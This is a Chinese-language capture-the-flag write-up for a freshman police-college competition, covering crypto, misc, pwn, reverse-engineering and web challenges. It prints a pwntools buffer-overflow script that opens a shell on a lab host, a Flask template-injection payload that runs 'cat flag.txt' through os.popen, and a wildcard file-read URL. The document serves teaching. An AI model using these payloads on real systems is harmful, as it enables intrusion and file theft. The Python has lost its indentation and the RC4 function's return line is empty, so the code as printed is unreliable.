[CRYPTO]
1、CRYPTO简base64
题目:循环base64
描述:这是一个简单的BASE64编码哦~~~
题目使用了40次的循环base64编码,只用写一个脚本循环40次解码即可
import base64
f=open("flag.txt")
flag=f.read()
for i in range(40):
flag=base64.b64decode(flag)
print(flag)
2、CRYPTO简xor
题目:xor
描述:超级简单的异或
看题目的脚本就能看出来,是将flag字符串的单数异或5双数异或15,直接将编码后的字符串异或回来就行。
str="iinbt}`wP4|ZipaZ=5=1PocgP`u`ux"
r=""
i=0
for s in str:
if(1&i)!=0:
r+=chr(ord(s)^5)
else:
r+=chr(ord(s)^15)
i+=1
print(r)
3、CRYPTO简rsa
题目:在线解决n
描述:可以在https://factordb.com/在线分解n哦
从题目的提示可以看出来,直接可以去将n在线分解出来,得到四个素数。直接pow(c,d,n)解题
import gmpy2
import Crypto
p1 = 2
p2 = 9857
p3 = 107843756547496736191228190917322558471918750590609940965721119253640998815543 **3
p4 = 80990192745708230644342256236014173435685606613945005625896333595456890957431 **2
n = 121804144124122503297199430480372313955268374174478371165161920679289563336886138968773225552764225118173784465682952533553789945396650944988828871897557847523772164824010073574704809547033747061496307748729337711708709559247370646108847060059772342069677155126737953031748386980218074230410184755337565309430655950021142159814126162227790767379375090932457384177605558674008775823354065326
phi = (p1-1) * (p2-1) * p3 * (p3 - 1) * p4 ** 2 * (p4 - 1)
e = 2073
c = 8910898716564810207762723388132717156672665616439703442199368316922140149823170921444854058070564221283896253396296128439537432963230867201653903456479298685895216048058785277714338017148771570741576352218472253299585039653995105750223583118676386335884696553195780857627365756195358140277744527856999002717688023724338771102271585637403517078706866474598848154990763544895697011186309899
t = gmpy2.gcd(e, phi)
e_f = e // t
d = gmpy2.invert(e_f, phi)
m_f = pow(c, d, n)
m = int(gmpy2.iroot(m_f, t)[0])
flag = m.to_bytes(length=50, byteorder="big")
print(flag)
[MISC]
1、MISC简送分流量
题目:流量送分题
描述:就几个包,好好看看呗~
直接在http流里面找到base64加密的flag
base64解码即可得到flag
2、MISC简送分file
题目:upload了什么
描述:黑客似乎上传了什么东西
一道明文送分题,直接使用命令搜索流量文件的字符串即可得到flag
strings file.pcapng|grep flag{
3、MISC简lsb
题目:简单的zip和img
描述:伪加密都告诉你了,lsb隐写是不是还要告诉你?
伪加密+lsb
直接010eitor打开压缩吧,find 50 4b 01 02,找到后面的09,改成08,即可修复伪加密的压缩文件。
解压后得到flag.png以及lsb隐写的密码zngeek@123
直接使用lsb脚本还原即可
#lsb3.py
import sys
import struct
import numpy
import matplotlib.pyplot as plt
from PIL import Image
from crypt import AESCipher
# 将二进制文件分解为位数组
def decompose(data):
v = []
# 用4字节保存文件长度
fSize = len(data)
bytes_array = list(struct.pack("i", fSize))
# Python 3中data已经是bytes类型,直接转换为list
bytes_array += list(data)
for b in bytes_array:
for i in range(7, -1, -1):
v.append((b >> i) & 0x1)
return v
# 将位数组组装成二进制文件
def assemble(v):
bytes_array = bytearray()
length = len(v)
for idx in range(0, len(v)//8):
byte = 0
for i in range(0, 8):
if (idx*8+i < length):
byte = (byte<<1) + v[idx*8+i]
bytes_array.append(byte)
payload_size = struct.unpack("i", bytes_array[:4])[0]
return bytes(bytes_array[4: payload_size + 4])
# 设置n的第i位为x
def set_bit(n, i, x):
mask = 1 << i
n &= ~mask
if x:
n |= mask
return n
# 将payload文件嵌入到图像的LSB位中
def embed(imgFile, payload, password):
# 处理源图像
img = Image.open(imgFile)
(width, height) = img.size
conv = img.convert("RGBA").getdata()
print(f"[*] Input image size: {width}x{height} pixels.")
max_size = width*height*3.0/8/1024 # 最大payload大小
print(f"[*] Usable payload size: {max_size:.2f} KB.")
with open(payload, "rb") as f:
data = f.read()
print(f"[+] Payload size: {len(data)/1024.0:.3f} KB ")
# 加密
cipher = AESCipher(password)
data_enc = cipher.encrypt(data)
# 处理payload文件数据
v = decompose(data_enc)
# 补齐到3的倍数
while(len(v)%3):
v.append(0)
payload_size = len(v)/8/1024.0
print(f"[+] Encrypted payload size: {payload_size:.3f} KB ")
if (payload_size > max_size - 4):
print("[-] Cannot embed. File too large")
sys.exit()
# 创建输出图像
steg_img = Image.new('RGBA',(width, height))
data_img = steg_img.getdata()
idx = 0
for h in range(height):
for w in range(width):
(r, g, b, a) = conv.getpixel((w, h))
if idx < len(v):
r = set_bit(r, 0, v[idx])
g = set_bit(g, 0, v[idx+1])
b = set_bit(b, 0, v[idx+2])
data_img.putpixel((w,h), (r, g, b, a))
idx = idx + 3
steg_img.save(imgFile + "-stego.png", "PNG")
print(f"[+] {payload} embedded successfully!")
# 从输入文件的LSB中提取嵌入的数据
def extract(in_file, out_file, password):
# 处理源图像
img = Image.open(in_file)
(width, height) = img.size
conv = img.convert("RGBA").getdata()
print(f"[+] Image size: {width}x{height} pixels.")
# 提取LSB
v = []
for h in range(height):
for w in range(width):
(r, g, b, a) = conv.getpixel((w, h))
v.append(r & 1)
v.append(g & 1)
v.append(b & 1)
data_out = assemble(v)
# 解密
cipher = AESCipher(password)
data_dec = cipher.decrypt(data_out)
# 写入解密后的数据
with open(out_file, "wb") as out_f:
out_f.write(data_dec)
print(f"[+] Written extracted data to {out_file}.")
# 统计分析图像以检测LSB隐写
def analyse(in_file):
'''
- 将图像分块
- 计算每个块的LSB平均值
- 包含隐藏加密消息(随机数据)的区域的平均值应该在0.5左右
'''
BS = 100 # 块大小
img = Image.open(in_file)
(width, height) = img.size
print(f"[+] Image size: {width}x{height} pixels.")
conv = img.convert("RGBA").getdata()
# 提取LSB
vr = [] # Red LSBs
vg = [] # Green LSBs
vb = [] # Blue LSBs
for h in range(height):
for w in range(width):
(r, g, b, a) = conv.getpixel((w, h))
vr.append(r & 1)
vg.append(g & 1)
vb.append(b & 1)
# 计算每个块的颜色LSB平均值
avgR = []
avgG = []
avgB = []
for i in range(0, len(vr), BS):
avgR.append(numpy.mean(vr[i:i + BS]))
avgG.append(numpy.mean(vg[i:i + BS]))
avgB.append(numpy.mean(vb[i:i + BS]))
# 绘图
numBlocks = len(avgR)
blocks = [i for i in range(0, numBlocks)]
plt.axis([0, len(avgR), 0, 1])
plt.ylabel('Average LSB per block')
plt.xlabel('Block number')
#plt.plot(blocks, avgR, 'r.')
#plt.plot(blocks, avgG, 'g')
plt.plot(blocks, avgB, 'bo')
plt.show()
def usage(progName):
print("LSB steganogprahy. Hide files within least significant bits of images.n")
print("Usage:")
print(f" {progName} hide")
print(f" {progName} extract")
print(f" {progName} analyse")
sys.exit()
if __name__ == "__main__":
if len(sys.argv) < 3:
usage(sys.argv[0])
if sys.argv[1] == "hide":
embed(sys.argv[2], sys.argv[3], sys.argv[4])
elif sys.argv[1] == "extract":
extract(sys.argv[2], sys.argv[3], sys.argv[4])
elif sys.argv[1] == "analyse":
analyse(sys.argv[2])
else:
print("[-] Invalid operation specified")
#crypt.py
from Crypto.Cipher import AES
import base64
import hashlib
class AESCipher:
def __init__(self, key):
self.bs = AES.block_size
self.key = hashlib.sha256(key.encode()).digest()
def encrypt(self, raw):
raw = self._pad(raw)
iv = AES.new(self.key, AES.MODE_CBC).iv
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return iv + cipher.encrypt(raw)
def decrypt(self, enc):
iv = enc[:AES.block_size]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return self._unpad(cipher.decrypt(enc[AES.block_size:]))
def _pad(self, s):
padding_size = self.bs - len(s) % self.bs
padding = bytes([padding_size] * padding_size)
return s + padding
def _unpad(self, s):
return s[:-ord(s[len(s)-1:])]
[PWN]
1、PWN简送分题
题目:给我密码
描述:送分送分,只要输入正确的字符串就可以了哦
直接执行命令反编译二进制文件,-M intel是使用intel的汇编格式,因为我个人比较喜欢看这种格式的汇编
objdump -d pwnstr -M intel |less
在main函数中,我们可以看到了给rax寄存器赋值了一个字符串
直接hex转字符串可以看到密码
内存的阅读顺序与人相反,所以密码应该是 ZnGeeK_is_G00D
可以看到call了scanf接受我们的输入后,然后call了strcmp函数将我们的输入与上面的密码进行test eax,eax,如果我们的输入与以上的密码一样就跳转到126e 。
而126e 正是我们的后门,能够直接得到系统的shell
所以直接nc连接题目,输入ZnGeeK_is_G00D就可以攻破此题。
其实你直接拖入IDA里面F5就能够看到伪代码的逻辑,然后直接得到明文的密码,我之所以要写得这么复杂,是希望同学们能够养成一个站在计算机逻辑的角度去思考所有问题的习惯,这样你才能有成为一代大神的基础条件,而不是一味的去依赖各种各样的工具最终沦为一个随时可以被AI替代的工具人!!!!!!
2、PWN简栈溢出
题目:char了a和b
描述:简单的栈溢出,毫无难度可言啊
非常基础的一个栈溢出题目,还是直接objdump反编译成汇编来分析即可
objdump -d pwnab -M intel |less
在main函数中可以看到,call scanf函数接收输入的地址的rbp-0x30
而接下来程序将rbp-0x20的地址mov给了eax,接着cmp判断eax寄存器存储的内存地址的第一个字节是否等于0x15,如果等于的话就call 40121b函数
40121b正是我们需要的shell后门地址
如果从scanf函数接收输入的rbp-0x30溢出到rbp-0x20的第一位的话,计算一下,需要0x30-0x20=0x10,转换成10进制是16
思路就是填充16个垃圾字符,在第17个的时候输入0x15,脚本如下:
from pwn import *
#context.log_level = 'debug'
#p = process('./pwnab')
p = remote('192.168.0.109', 9999) # 远程连接
payload = b'a' * 16+p64(0x15)
p.sendline(payload)
p.interactive()
这样就能成功利用后面获取shell了。
[REVERSE]
1、RE简base64
题目:简单的base64
描述:就是个简简单单的base64编码呀,不过编码表我喜欢用自己的
同样objdump反编译成汇编代码,在main函数中可以看到mov给rax的就是base64编码后的密文,mov给rdx的就是自定义的编码表
手工去搞太麻烦了,直接使用工具也可以,我上面为什么要讲原理,原因说明得很清楚了,希望大家不要过度依赖工具,这里直接ida直接得到编码后字符串和自定义编码表即可。
带入自定义编码表直接解码得到flag
2、RE简RC4
题目:注册什么4的
描述:好好找找key呗,简单的一个什么4的加密
IDA直接打卡,dede函数里面很清楚的看到是rc4的加密方式
因为为了降低难度,rc4加解密函数是我自己封装的,所以能够很清楚的看到加解密函数的名称
直接在data段能够看到key和加密后的flag,导出来直接写一个python脚本解密即可
def rc4_init(key):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
return S
def rc4_stream(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K
def rc4(key, plaintext):
S = rc4_init(key)
keystream = rc4_stream(S)
return bytes(
)
# 设置密钥和明文flag
key = b"zngeek@123"
flag = b"flag{RC4_1s_Fun!_And_Secure!_BY_ZNG3K}"
# 加密flag
encrypted = rc4(key, flag)
# 输出C语言数组格式
print("unsigned char flag[] = {", end="")
print(",".join([hex(x) for x in encrypted]), end="")
print("};")
[WEB]
1、WEB简单JS
题目:简单的JS
描述:简简单单的JS debug
打开环境后,直接F12分析script.js里面的逻辑,发现只要将let unlockKey = false; 设置为true就可以了
直接在console里面输入unlockKey = true即可
当然你直接用js来解密也可以。
2、WEB简模板注入
题目:模板注入
描述:简单flask模板注入
根据题目提示,就知道是flask的模板注入了,直接{{config}}就能看到存在注入
因为是简单入门题目,所以没有任何过滤,直接执行一下命令即可读取flag文件
{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}
3、WEB简globfile
题目:简单的glob
描述:简简单单的文件读取
看到题目没做任何过滤,直接file就能够读取文件
直接通配符就可以读取到flag
http://localhost/?file=*/*
题目及环境下载:
关注公众号回复 jlbctf2024 即可获取
原文始发于微信公众号(蓝极战队):【※】贵州警院首届新生“见龙杯”CTF-Writeup
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论